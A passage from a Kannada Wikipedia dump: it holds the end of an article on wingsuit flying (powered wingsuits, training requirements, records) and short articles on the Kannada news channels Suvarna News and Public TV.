ಸದರಿ ಟರ್ಬೋಜೆಟ್‌ಗಳು ಸರಿಸುಮಾರಾಗಿ ತಲಾ ೧೬ kgfನಷ್ಟು (೧೬೦ N, ೩೫ lbf) ದೂಡಿಕೆಯನ್ನು ಒದಗಿಸಿದವು ಮತ್ತು ಸೀಮೆಎಣ್ಣೆ (ಜೆಟ್ A-೧) ಇಂಧನದಿಂದ ಚಾಲನೆಗೊಳಗಾದವು. ಉನ್ನತಿಯ ಯಾವುದೇ ಗಮನಾರ್ಹವಾದ ನಷ್ಟವಿಲ್ಲದೆಯೇ ಸರಿಸುಮಾರಾಗಿ ೩೦ ಸೆಕೆಂಡುಗಳಷ್ಟು ಅವಧಿಯ ಸಮತಲವಾದ ಹಾರಾಟವನ್ನು ಪರ್ವಿಯಾನೆನ್‌ ಸ್ಪಷ್ಟವಾಗಿ ಸಾಧಿಸಿದ.<ref name="dropzone1" /> [[ಜರ್ಮನಿ]]ಗೆ ಸೇರಿದ ಕ್ರಿಶ್ಚಿಯನ್‌‌ ಸ್ಟಾಡ್ಲರ್‌‌ (''ಬರ್ಡ್‌ಮನ್‌ ಚೀಫ್‌ ಇನ್ಸ್‌ಟ್ರಕ್ಟರ್‌‌'' ) ಎಂಬಾತ ''ಸ್ಕೈಜೆಸ್ಟರ್‌‌'ಸ್‌ ವಿಂಗ್ಸ್‌ ಓವರ್‌ ಮಾರ್ಲ್‌'' ಎಂದು ಕರೆಯಲ್ಪಟ್ಟ, ಬಹುಮಾನ ಹಣದೊಂದಿಗಿನ ಮೊದಲ ಅಂತರರಾಷ್ಟ್ರೀಯ ರೆಕ್ಕೆದಿರಿಸು ಸ್ಪರ್ಧೆಯನ್ನು ೨೦೦೫ರಲ್ಲಿ ಸಂಘಟಿಸಿದ. ''ವೇಗಾV೩ ವಿಂಗ್‌ಸೂಟ್‌ ಸಿಸ್ಟಮ್‌'' ಎಂಬ ಅವನ ಮೊದಲ ವಿಶ್ವವ್ಯಾಪಿ ಸಾಧನೆಯು ವಿದ್ಯುನ್ಮಾನಕ್ಕೆ ಹೊಂದಿಸಬಹುದಾದ ಒಂದು ಜಲಜನಕ ಪರಾಕ್ಸೈಡ್‌ ಕ್ಷಿಪಣಿಯನ್ನು<ref>{{cite web |url=http://www.peroxidepropulsion.com/news/first-living-rocket-airplane-in-the-world |title=First living rocket airplane in the world! :: News by |publisher=Peroxide Propulsion |date=2008-01-03 |accessdate=2010-05-18 |archive-date=2009-03-08 |archive-url=https://web.archive.org/web/20090308163810/http://www.peroxidepropulsion.com/news/first-living-rocket-airplane-in-the-world |url-status=dead }}</ref> ಬಳಸಿತು. ಈ ಕ್ಷಿಪಣಿಯು ೧೦೦ kgfನಷ್ಟು ದೂಡಿಕೆಯನ್ನು ಒದಗಿಸಿತು ಮತ್ತು ಇದು ಜ್ವಾಲೆಗಳನ್ನಾಗಲೀ ಅಥವಾ ವಿಷಕಾರಿ ಹೊಗೆಗಳನ್ನಾಗಲೀ ಉತ್ಪಾದಿಸುವುದಿಲ್ಲ. ಶಕ್ತಿ ಒದಗಿಸಲ್ಪಟ್ಟ ರೆಕ್ಕೆದಿರಿಸನ್ನು ಬಳಸಿಕೊಂಡು ಅವನು ಕೈಗೊಂಡ ಮೊದಲ ಯಶಸ್ವಿ ಜಿಗಿತವು ೨೦೦೭ರಲ್ಲಿ ಸಂಭವಿಸಿತು ಮತ್ತು ಗಂಟೆಗೆ ೧೬೦ ಮೈಲಿಗೂ ಹೆಚ್ಚಿನ ಸಮತಲ ವೇಗವನ್ನು ಇದು ಒಳಗೊಂಡಿತ್ತು.<ref>{{cite web|url=https://www.youtube.com/watch?v=OrBbT-uMbI8 |title=First living rocket plane in the world |publisher=YouTube |date=2008-09-29 |accessdate=2010-05-18}}</ref> ಶಕ್ತಿ ಒದಗಿಸಲ್ಪಟ್ಟ ರೆಕ್ಕೆಹೊರೆಯೊಂದನ್ನು ಬಳಸಿಕೊಂಡು, ಸಂಪೂರ್ಣವಾಗಿ ಶರೀರ ಚಲನೆಯ ನೆರವಿನಿಂದ ಚಾಲನ ನಿರ್ದೇಶನ ಮಾಡುತ್ತಲೇ ವಿಮಾನವೊಂದರ ಕುಶಲ ಚಲನೆಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಗಳಿಸುವಲ್ಲಿ ವೆಸ್‌ ರೋಸಿ ಎಂಬಾತ ಮೊದಲ ವ್ಯಕ್ತಿ ಎನಿಸಿಕೊಂಡ; ಆದಾಗ್ಯೂ, ಅವನ ಪ್ರಾಯೋಗಿಕ ರೆಕ್ಕೆಹೊರೆಯು ವಾಣಿಜ್ಯ ಸ್ವರೂಪದಲ್ಲಿ ಕಾರ್ಯಸಾಧ್ಯವಾಗಿರಲಿಲ್ಲ. ಏಕೆಂದರೆ ರೆಕ್ಕೆಯು ಬಳಸುವ ಇಂಧನ ಮತ್ತು ನಿರ್ಮಾಣಕಾರ್ಯದಲ್ಲಿ ಅಗತ್ಯವಾಗಿರುವ ಸಾಮಗ್ರಿಗಳ ವೆಚ್ಚ ಇವುಗಳು ವಿಪರೀತ ದುಬಾರಿಯಾಗಿದ್ದವು. ಅದೇನೇ ಇದ್ದರೂ, ಸ್ವಿಸ್‌ ಆಲ್ಪ್ಸ್‌ ಶ್ರೇಣಿಯ ಮೇಲೆ ಅವನು ಮಾಡಿದ ಎಂಟು-ನಿಮಿಷಗಳಷ್ಟು ಅವಧಿಯ ಹಾರಾಟವು ವಿಶ್ವಾದ್ಯಂತ ಪ್ರಮುಖ ಸುದ್ದಿಯನ್ನು ಮಾಡಿತು, ಮತ್ತು ಇಲ್ಲಿಯ ತನಕವೂ ಅವನ "ಜೆಟ್-ರೆಕ್ಕೆಹೊರೆ"ಯು ಅವಿಶ್ರಾಂತವಾದ ಹಾರಾಟವನ್ನು ನಡೆಸಬಲ್ಲ ಏಕೈಕ ಆಯ್ಕೆಯಾಗಿ ಉಳಿದುಕೊಂಡಿದೆ. ==ತರಬೇತಿ== ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ಬಳಸಿಕೊಂಡು ಹಾರಾಟ ನಡೆಸುವಿಕೆಯು ಒಂದು ಆಕಾಶ ಜಿಗಿತಕ್ಕೆ ಪರಿಗಣನೀಯ ಸಂಕೀರ್ಣತೆಯನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುತ್ತದೆ ಎನ್ನಬಹುದು. ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌ ಪ್ಯಾರಾಶೂಟ್‌ ಅಸೋಸಿಯೇಷನ್‌ (USPA) ಎಂಬ ಸಂಘಟನೆಯು ತಾನು ಹೊರತಂದಿರುವ ಆಕಾಶ-ನೆಗೆತಗಾರರ ಮಾಹಿತಿ ಕೈಪಿಡಿಯಲ್ಲಿ ಉಲ್ಲೇಖಿಸಿರುವ ಪ್ರಕಾರ, ಮೊಟ್ಟಮೊದಲ ಬಾರಿಗೆ ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ಬಳಸಿಕೊಂಡು ಹಾರಾಟ ನಡೆಸುವ ಯಾವುದೇ ಜಿಗಿತಗಾರನು ಕನಿಷ್ಟಪಕ್ಷ ೨೦೦ ಸಂಖ್ಯೆಯ ಸ್ವತಂತ್ರ ಪತನದ ಆಕಾಶ ಜಿಗಿತಗಳನ್ನು ಮಾಡಿರಬೇಕು ಮತ್ತು ಅವು ಕಳೆದ ೧೮ ತಿಂಗಳುಗಳ ಒಳಗಾಗಿ ಮಾಡಿದಂಥವುಗಳಾಗಿರಬೇಕು, ಮತ್ತು ಓರ್ವ ಅನುಭವಸ್ಥ ರೆಕ್ಕೆ ದಿರಿಸು ಜಿಗಿತಗಾರನಿಂದ ಮುಖಾಮುಖಿಯಾದ ಬೋಧನೆಯನ್ನು ಅವನು ಸ್ವೀಕರಿಸಿರಬೇಕು, ಅಥವಾ ಓರ್ವ ಬೋಧಕನ ನೆರವಿಲ್ಲದೆಯೇ ೫೦೦ ಜಿಗಿತಗಳ ಅನುಭವವನ್ನು ಹೊಂದಿರಬೇಕು.<ref>{{cite web |url=http://www.uspa.org/SIM/Read/Section6/tabid/169/Default.aspx#984 |title=U.S. Parachute Association > SIM > Read > Section 6 |publisher=Uspa.org |date= |accessdate=2010-05-18 |archive-date=2015-09-06 |archive-url=https://web.archive.org/web/20150906001027/http://www.uspa.org/SIM/Read/Section6/tabid/169/Default.aspx#984 |url-status=dead }}</ref> ಇತರ ರಾಷ್ಟ್ರಗಳಲ್ಲಿ ಕಂಡುಬರುವ ಅವಶ್ಯಕತೆಗಳು ಇದೇ ರೀತಿಯಲ್ಲಿವೆ. ರೆಕ್ಕೆದಿರಿಸು ತಯಾರಕರು ವ್ಯಾಸಂಗಕ್ರಮಗಳಲ್ಲಿ ತರಬೇತಿಯನ್ನು ಮತ್ತು ಬೋಧಕರಿಗೆ ಪ್ರಮಾಣೀಕರಣವನ್ನು ನೀಡುತ್ತಾರೆ. ==ದಾಖಲೆಗಳು== ೨೦೧೦ರ ಸೆಪ್ಟೆಂಬರ್‌ ೨೪ರಂದು, ಷಿನ್‌ ಇಟೊ ಎಂಬ ಜಪಾನೀ ರೆಕ್ಕೆದಿರಿಸು ಚಾಲಕನು (''ಬರ್ಡ್‌ಮನ್‌ ಇಂಕ್‌ "ಟಾಪ್‌ ಗನ್‌" ಟೀಮ್‌'' ), ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಡೇವಿಸ್‌‌‌ನ ಉಪನಗರಗಳ ಮೇಲೆ ಹಾರಾಟ ನಡೆಸಿ [[ಗಿನ್ನೆಸ್ ದಾಖಲೆಗಳ ಪುಸ್ತಕ|ಗಿನ್ನೆಸ್‌ ವಿಶ್ವ ದಾಖಲೆಗಳನ್ನು]] ಸ್ಥಾಪಿಸಿದ. PAC೭೫೦XLನಿಂದ ದಾಖಲಿಸಲ್ಪಟ್ಟಂತೆ, ಭೂಮಟ್ಟದಿಂದ ಮೇಲಕ್ಕೆ ೩೪,೬೨೦ ಅಡಿಯಷ್ಟು (೧೦,೫೫೦ ಮೀ) ಉನ್ನತಿ, ೩೩,೪೩೦ ಅಡಿಯಷ್ಟು (೧೦.೧೮೦ ಮೀ) MSLನ್ನು ದಾಖಲಿಸಿದ ಅವನು, ೧೦.೧೯ ಮೈಲಿಗಳಷ್ಟು (೧೬.೪ ಕಿ.ಮೀ.) ಸಮತಲ ಅಂತರದ ಹಾರಾಟ ನಡೆಸಿದ. ನಿರ್ಗಮನ ಬಿಂದುವಿನಿಂದ ಇಳಿದಾಣದ ಬಿಂದುವಿನವರೆಗೆ ಅವನು ದಾಖಲಿಸಿದ ಒಟ್ಟು ಹಾರಾಟ ಅಂತರವು ೧೧.೬೮ ಮೈಲಿಗಳಷ್ಟು (೧೮.೮&nbsp;ಕಿ.ಮೀ.) ಹಾಗೂ ನೇರ ರೇಖೆಯ ಅಂತರವು ೧೦.೮೭ ಮೈಲಿಗಳಷ್ಟು (೧೭.೫&nbsp;ಕಿ.ಮೀ.) ಇತ್ತು. ಸ್ವತಂತ್ರ ಪತನದ ಸಮಯವು ೪ ನಿಮಿಷಗಳು ಮತ್ತು ೫೭ ಸೆಕೆಂಡುಗಳಷ್ಟಿತ್ತು. ಗರಿಷ್ಟ ಸಮತಲ ವೇಗವು ಗಂಟೆಗೆ ೧೭೭.೭&nbsp;ಮೈಲಿಗಳಷ್ಟು (ಗಂಟೆಗೆ ೨೮೬&nbsp;ಕಿ.ಮೀ.) ಇತ್ತು. ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ಬಳಸಿಕೊಂಡು ಮಾಡಲಾದ ಹಾರಾಟದಲ್ಲಿನ ಮಹತ್ತರವಾದ ಅನಧಿಕೃತ ದಾಖಲೆಯ ಸಮತಲ ಅಂತರವು ೨೦.೪೫ ಕಿ.ಮೀ.ಗಳಷ್ಟಿದ್ದು (೧೨.೭ ಮೈಲಿ), ಇದನ್ನು ಅಲ್ವಾರೊ ಬುಲ್ಟೊ, ಸ್ಯಾಂಟಿ ಕೊರೆಲ್ಲಾ ಮತ್ತು ಟೋನಿ ಲೊಪೆಜ್ ದಾಖಲಿಸಿದ್ದಾರೆ‌.<ref>{{cite web |author=E-Citron SA, www.e-citron.ch |url=http://www.proyecto-alas.com/es/challenges_det.php?id=208 |title=Wingsuit distance record |publisher=Proyecto Alas |date= |accessdate=2010-05-18 |archive-date=2009-09-09 |archive-url=https://web.archive.org/web/20090909231018/http://www.proyecto-alas.com/es/challenges_det.php?id=208 |url-status=dead }}</ref> ಸ್ಪೇನ್‌ ದೇಶದ ಈ ಮೂವರು ನಿವಾಸಿಗಳು ೨೦೦೫ರ ಜೂನ್‌‌ ೨೩ರಂದು ೩೫,೦೦೦ ಅಡಿಗಳಷ್ಟು (೧೦.೬೭ ಕಿ.ಮೀ.) ಉನ್ನತಿಯಲ್ಲಿದ್ದ ವಿಮಾನವೊಂದರಿಂದ ಜಿಗಿತವನ್ನು ಮಾಡಿದ ನಂತರ, ಗಿಬ್ರಾಲ್ಟರ್‌ ಜಲಸಂಧಿಯನ್ನು ದಾಟಿದರು. ೨೦೦೮ರ ಜುಲೈ ೨೪ರಂದು, ಹೀಥರ್‌ ಸ್ವಾನ್‌ ಮತ್ತು ಗ್ಲೆನ್‌‌ ಸಿಂಗಲ್‌ಮನ್‌‌ ಎಂಬ ಆಸ್ಟ್ರೇಲಿಯಾದ ಜೋಡಿಯು ೩೭,೦೦೦ ಅಡಿಗಳಷ್ಟು (೧೧.೨೭ ಕಿ.ಮೀ.) ಎತ್ತರದಿಂದ ಮಧ್ಯದ ಆಸ್ಟ್ರೇಲಿಯಾದ ಮೇಲೆ ಜಿಗಿಯುವ ಮೂಲಕ, ರೆಕ್ಕೆದಿರಿಸನ್ನು ಬಳಸಿಕೊಂಡು ಮಾಡಿದ ಅತಿ ಎತ್ತರದ ಜಿಗಿತಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಒಂದು ವಿಶ್ವದಾಖಲೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು.<ref>{{cite web |url=http://video.msn.com/video.aspx?mkt=en-au&brand=ninemsn&playlist=videoByUuids:uuids:45fee8c3-8324-4725-b564-07a1425652ad&showPlaylist=true&from=inline&fg=sixtyminutes |title=Central Australia Jump, Sixty Minutes |publisher=Video.msn.com |date= |accessdate=2010-05-18 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>{{cite web |url=http://www.furthestflight.com |title=Furthest Flight Website |publisher=Furthestflight.com |date= |accessdate=2010-05-18 |archive-date=2011-02-05 |archive-url=https://web.archive.org/web/20110205121911/http://www.furthestflight.com/ |url-status=dead }}</ref> ರೆಕ್ಕೆದಿರಿಸಿನ ರಚನೆಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಮಾಡಲಾಗುವ ಅಧಿಕೃತ ವಿಶ್ವದಾಖಲೆಗೆ ಸಂಬಂಧಿಸಿದ ನಿರ್ಣಾಯಕ ಮಾನದಂಡಗಳನ್ನು ಫೆಡರೇಷನ್‌ ಏರೋನಾಟಿಕ್‌ ಇಂಟರ್‌ನ್ಯಾಷನೇಲ್‌ ಸಂಘಟನೆಯು ಸ್ಥಾಪಿಸಿಲ್ಲ ಅಥವಾ ಪ್ರಮಾಣೀಕರಿಸಿಲ್ಲ. ಆದಾಗ್ಯೂ, ಹಲವಾರು ರಾಷ್ಟ್ರೀಯ ಸಂಘಟನೆಗಳು ದಾಖಲೆಯ ವರ್ಗಗಳನ್ನು ನೆಲೆಗೊಳಿಸಿವೆ ಮತ್ತು ಒಂದು ರೆಕ್ಕೆದಿರಿಸು ರಚನೆಯು ಪರಿಪೂರ್ಣವಾಗಿದೆಯೇ ಅಥವಾ ಇಲ್ಲವೇ ಎಂಬುದನ್ನು ತೀರ್ಮಾನಿಸುವುದಕ್ಕಾಗಿ ಮಾನದಂಡಗಳನ್ನು ಸ್ಥಾಪಿಸಿವೆ ಅಥವಾ ಪ್ರಮಾಣೀಕರಿಸಿವೆ. ಒಂದು ರಾಷ್ಟ್ರೀಯ ದಾಖಲೆಗೆ ಸಂಬಂಧಿಸಿದ ಮಾನದಂಡಗಳನ್ನು ಈಡೇರಿಸುವ ರೀತಿಯಲ್ಲಿ ಅಧಿಕೃತವಾಗಿ ಮಾನ್ಯತೆ ಪಡೆದ ಅತಿದೊಡ್ಡ ರೆಕ್ಕೆದಿರಿಸು ರಚನೆಯು ಒಂದು ಬಾಣಮುಖಿ ರಚನೆಯಲ್ಲಿನ ೬೮ ಜಿಗಿತಗಾರರನ್ನು ಒಳಗೊಂಡಿತ್ತು ಮತ್ತು ಇದು ೨೦೦೯ರ ನವೆಂಬರ್‌ ೧೨ರಂದು ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಲೇಕ್‌ ಎಲ್ಸಿನೋರ್‌ ಎಂಬಲ್ಲಿ ಒಂದು US ರಾಷ್ಟ್ರೀಯ ದಾಖಲೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು.<ref>{{cite web |url=http://www.uspa.org/USPAMembers/RecordsAwards/ExistingRecords/National/tabid/144/Default.aspx |title=USPA Records: largest wingsuit formation jump |publisher=Uspa.org |date=2006-05-01 |accessdate=2010-05-18 |archive-date=2010-04-18 |archive-url=https://web.archive.org/web/20100418185954/http://www.uspa.org/USPAMembers/RecordsAwards/ExistingRecords/National/tabid/144/Default.aspx |url-status=dead }}</ref> ಒಂದು B-೨ ರಚನೆಯು ಅತಿದೊಡ್ಡ ಅನಧಿಕೃತ ದಾಖಲೆ ಎನಿಸಿಕೊಂಡಿದ್ದು, ಇದು ೨೦೦೮ರ ನವೆಂಬರ್‌ನಲ್ಲಿ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾದ ಲೇಕ್‌ ಎಲ್ಸಿನೋರ್‌ನಲ್ಲಿ ನಡೆದ ಜಿಗಿತದಲ್ಲಿನ ೭೧ ಜಿಗಿತಗಾರರನ್ನು ಒಳಗೊಂಡಿತ್ತು.<ref>{{cite web |url=http://teamillvision.blogspot.com/2009/01/world-record-wingsuit-71.html |title=B-2 formation with 71 jumpers |publisher=teamillvision.blogspot.com |date=November 2008 |accessdate=2009-01-15}}</ref> ==ಇವನ್ನೂ ಗಮನಿಸಿ‌== *BASE ಜಿಗಿತ *ಧುಮುಕುಕೊಡೆಯ ಜಿಗಿತ *ಗಾಳಿಪಟದ ಅನ್ವಯಿಕೆಗಳು *ದಿ ಜಿಪ್ಸಿ ಮಾತ್ಸ್‌ *ಹೆಜಾರ್ಫೆನ್‌ ಅಹಮದ್‌ ಸೆಲೆಬಿ ==ಟಿಪ್ಪಣಿಗಳು== {{reflist|colwidth=30em}} ==ಉಲ್ಲೇಖಗಳು‌‌== {{refbegin}} * {{cite book | isbn = 1-4000-5491-5 | title = Birdmen, Batmen, and Skyflyers: Wingsuits and the Pioneers Who Flew in Them, Fell in Them, and Perfected Them | year = 2006 | author = Michael Abrams }} * {{cite book | isbn = 978-1400054916 | title = The Great Book of BASE, BirdBrain Publishing | year = 2010 | author = Matt Gerdes }} * {{cite book | title =Skyflying Wingsuits in Motion | year = 2005 | author = Scott Campos }} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು‌‌== {{Commons category|Wingsuits}} *[https://www.youtube.com/watch?v=oCOOwZNLqzc ಮಾಡರ್ನ್‌ ವ್ಯೂ ಆನ್‌ ಪ್ರಾಕ್ಸಿಮಿಟಿ ಫ್ಲೈಯಿಂಗ್‌] [[ನಾರ್ವೇ|ನಾರ್ವೆ]] ವತಿಯಿಂದ ಹೊರಬಂದಿರುವ ಉಸಿರು ಹಿಡಿಯುವಂಥ ವಿಡಿಯೋ *[http://vimeo.com/15479617 ಜೆಬ್‌ ಕಾರ್ಲಿಸ್‌ ರೆಕ್ಕೆ-ದಿರಿಸಿನ ಪ್ರಾಯೋಗಿಕ ಹಾರಾಟಗಳ ವಿಡಿಯೋ] *[[ನಾರ್ವೇ|ನಾರ್ವೆ]]ಯಲ್ಲಿನ ಬಂಡೆಗಳ ಆಚೆಗೆ, ಸುತ್ತಮುತ್ತ, ಹಾಗೂ ಮೇಲ್ಭಾಗದ [http://vimeo.com/moogaloop.swf?clip_id=1778399 ವಿಡಿಯೋ ಪ್ರಾತ್ಯಕ್ಷಿಕೆ] *[http://www.airsports.tv/index.asp?bcpid=4552242001&amp;bclid=1338935516&amp;bctid=88351533001 Airsports.tvಯಲ್ಲಿನ ವಿಂಗ್‌ ಸೂಟ್‌ ರೆಕಾರ್ಡ್‌ ವಿಡಿಯೋ] {{Webarchive|url=https://web.archive.org/web/20120713194653/http://www.airsports.tv/index.asp?bcpid=4552242001&bclid=1338935516&bctid=88351533001 |date=2012-07-13 }} ಲೇಕ್‌ ಎಲ್ಸಿನೋರ್‌, CA USA *[https://www.youtube.com/watch?v=TO5RHoYv820&amp;t=2m18s ಬರ್ಟ್‌ ಲ್ಯಾಂಕಾಸ್ಟರ್‌‌ ರೆಕ್ಕೆದಿರಿಸು ದೃಶ್ಯ]- ೧೯೬೯ರಲ್ಲಿ ಬಂದ ದಿ ಜಿಪ್ಸಿ ಮಾತ್ಸ್‌ ಚಲನಚಿತ್ರದಿಂದ ಪಡೆದದ್ದು *[http://www.skysoc.com/wingsuiting ದಿ ಪ್ರೈಸ್‌ ಆಫ್‌ ವಿಂಗ್‌ಸೂಟಿಂಗ್‌ ಅಂಡ್‌ ಹೌ ಟು ಸ್ಟಾರ್ಟ್‌ ವಿಂಗ್‌ಸೂಟಿಂಗ್‌]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{Extreme Sports}} {{DEFAULTSORT:Wingsuit Flying}} [[ವರ್ಗ:ಧುಮುಕುಕೊಡೆಯ ಜಿಗಿತ]] [[ವರ್ಗ:ವಾಯುಬಲ ಶಾಸ್ತ್ರ]] [[ವರ್ಗ:ಕ್ರೀಡೆ]] m5wqtvpkxf7okgjmxdjfiacuwrz7lia ಸುವರ್ಣ ನ್ಯೂಸ್ 0 31654 1116611 989606 2022-08-24T09:24:35Z Ishqyk 76644 wikitext text/x-wiki {{Infobox TV channel | name = Suvarna News 24x7 | logosize = | logocaption = | launch = 31 March 2008 | picture format = | network = Asianet News Network | owner = Jupiter Media | slogan = "Nera, Ditta, Nirantara" | country = India | language = [[Kannada]] | broadcast area = [[Indian sub-continent]] | headquarters = [[Bengaluru]], Karnataka, India | former names = | sister names = [[Asianet News]] | web = {{url|http://www.suvarnanews.tv/}} | network_type = [[Satellite television|Satellite]] and [[Cable television|Cable]] <br />television network |logo2=[[File:Suvarna logo.jpg|200px]]}} {{Infobox TV channel | name = ಸುವರ್ಣ ನ್ಯೂಸ್ ೨೪X೭ | logofile =Asianet Logo.svg | logosize = 150px | logocaption =ಸುವರ್ಣ ನ್ಯೂಸ್ ೨೪*೭ | branding = ಸುವರ್ಣ ನ್ಯೂಸ್ ೨೪*೭ | logoalt = | launch = | owner = ಜುಪಿಟರ್ ಎಂಟರ್ಟೈನ್ಮೆಂಟ್ ವೆಂಚರ್ಸ್, ಏಶಿಯಾನೆಟ್ ನ್ಯೂಸ್ ನೆಟ್ವರ್ಕ್ | tagline = "ನೇರ ದಿಟ್ಟ ನಿರಂತರ ". | country = {{IND}} | language = [[ಕನ್ನಡ]] | headquarters = [[ತಿರುವನಂತಪುರ]], [[ಕೇರಳ]], ಭಾರತ | available = [[ಭಾರತ]] | ಜಾಲತಾಣ = http://www.suvarnanews.tv |}} '''ಸುವರ್ಣ ನ್ಯೂಸ್''' ಕನ್ನಡದ ಸುದ್ದಿವಾಹಿನಿಯಾಗಿದೆ. ಬಿಜೆಪಿ ಸಂಸದ [[ರಾಜೀವ್ ಚಂದ್ರಶೇಖರ್]] ಅವರು ಮಾರ್ಚ್ 3, 2008 ರಂದು ಚಾನೆಲ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಇದು ಪ್ರಾರಂಭವಾದ ಮೂರನೇ ಕನ್ನಡ ಸುದ್ದಿ ವಾಹಿನಿಯಾಗಿದೆ. ಶ್ಯಾಮಸುಂದರ್ ಅವರು ಪ್ರಸ್ತುತ ಸಿಇಓ ಆಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ. [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] 6ju89lqrfya9ijjyvumvyp8n2y9mbrm ಪಬ್ಲಿಕ್ ಟಿವಿ 0 32787 1116615 859670 2022-08-24T09:26:55Z Ishqyk 76644 wikitext text/x-wiki {{Infobox TV channel | name =ಪಬ್ಲಿಕ್ ಟಿವಿ Public TV | logofile = Site_Logo.jpg | logosize = 200px | branding = Public TV(ಪಬ್ಲಿಕ್ ಟಿವಿ) | tag line = "ಯಾರ ಆಸ್ತಿಯು ಅಲ್ಲ ಇದು ನಿಮ್ಮ ಆಸ್ತಿ" | logoalt = | launch = ೨೦೧೨ | owner = ಎಚ್ ಆರ್ ರಂಗನಾಥ್ - ರೈಟ್ ಮೆನ್ ಮಿಡಿಯ ಪ್ರ. ಲಿ | country = [[ಭಾರತ]] | language = [[ಕನ್ನಡ]] | headquarters = [[ ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]], [[ಭಾರತ]] | available = [[ಭಾರತ]] | web = http://www.publictv.in |}} ಪಬ್ಲಿಕ್ ಟಿವಿಯು ಕನ್ನಡದ ಪ್ರಮುಖ ಖಾಸಗಿ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳಲ್ಲೊಂದು. ಪಬ್ಲಿಕ್ ಟಿವಿಯು ರಾಜ್ಯದಲ್ಲಿ ಏಳನೆಯ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿ, ಬೇರೆ ಎಲ್ಲ ಕನ್ನಡದ ಸುದ್ದಿ ವಾಹಿನಿಗಳಿಗೆ ಪ್ರತಿಸ್ಪರ್ಧಿಯಾಗಿದೆ. ಸದ್ಯದಲ್ಲಿಯೇ ದೇಶದ ಮುಖ್ಯ 'ಉಪಗ್ರಹ ದೂರದರ್ಶನ' (Satellite TV) ಗಳಲ್ಲಿ ಲಭ್ಯ. ಹಾಗೂ ಪಬ್ಲಿಕ್ ಟಿವಿ ಪ್ರಸಾರ ಲಭ್ಯ. (ಒನ್ ಇಂಡಿಯಾ ಕನ್ನಡ). ==ಪ್ರಮುಖ ಕಾರ್ಯಕ್ರಮಗಳು== ಫೆಬ್ರವರಿ ೧೨, ೨೦೧೨ ಬೆಳಿಗ್ಗೆ ೧೧ ಕ್ಕೆ ಮುಖ್ಯಮಂತ್ರಿ ಸದಾನಂದ ಗೌಡರು ಓದಿದ ಸುದ್ದಿ ಪ್ರಸಾರವೆ ಮೊದಲ ಕಾರ್ಯಕ್ರಮ. {| class="wikitable sortable" |- ! # !! ಕಾರ್ಯಕ್ರಮ!! ಪ್ರಸಾರಣ ಸಮಯ |- | ೧|| ಚೆಕ್ ಬಂದಿ|| -- |- | ೨|| ಬ್ರೇಕ್ ಫಾಸ್ಟ್ ನ್ಯೂಜ್ -|| - |- | ೩|| ಡಯಲ್ ಧಮಾಖಾ|| - |- | ೪|| ಚುರುಮುರಿ|| - |- | ೫|| ೧ ಪಿಎಮ್ ನ್ಯೂಜ್|| - |- | ೬|| ಜೋಕ್ ಅಡ್ಡ || - |- | ೭|| ಪಬ್ಲಿಕ್ ಎಕ್ಸ್ ಪ್ರೆಸ್|| - |- | ೮|| ಗುಡ್ ನೈಟ್ ನ್ಯೂಜ್ || - |- | ೯|| ಪಬ್ಲಿಕ್ ಅಪ್ ಡೇಟ್|| - |- | ೧೦|| Mr. ಸಿಂಗ್ರಿ|| |- | ೧೧|| I am ಸಿಂಗಲ್|| |- | ೧೨||ಪೋಲಿಸ್ ಬ್ರೆನ್|| |- | ೧೩||ಕಂದನ ಕಥೆ|| |- | ೧೪||ವಾರಾನ್ನಾ|| |- | ೧೫||ಟಾಪ್ ಆಫ್ ದ ವೀಕ್|| |- | ೧೬||ಫಸ್ಟ್ ಗೇರ್|| |- | ೧೭||ಹೆಡ್ ಲಾನ್ಸ್|| |- | ೧೮|||ಪಬ್ಲಿಕ್ ರೇಡ್|| |- | ೧೯||ಸಿನಿ ಅಡ್ಡ|| |- |} ==ಹೊರಗಿನ ಸಂಪರ್ಕಗಳು== *[http://www.publictv.in ಈ-ಪಬ್ಲಿಕ್ ಟಿವಿ ಅಂತರ್ಜಾಲ ತಾಣ] *[http://sampadakeeya.blogspot.in/2012/02/blog-post_13.html] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಸಮೂಹ ಮಾಧ್ಯಮ]] [[ವರ್ಗ:ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ]] {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ 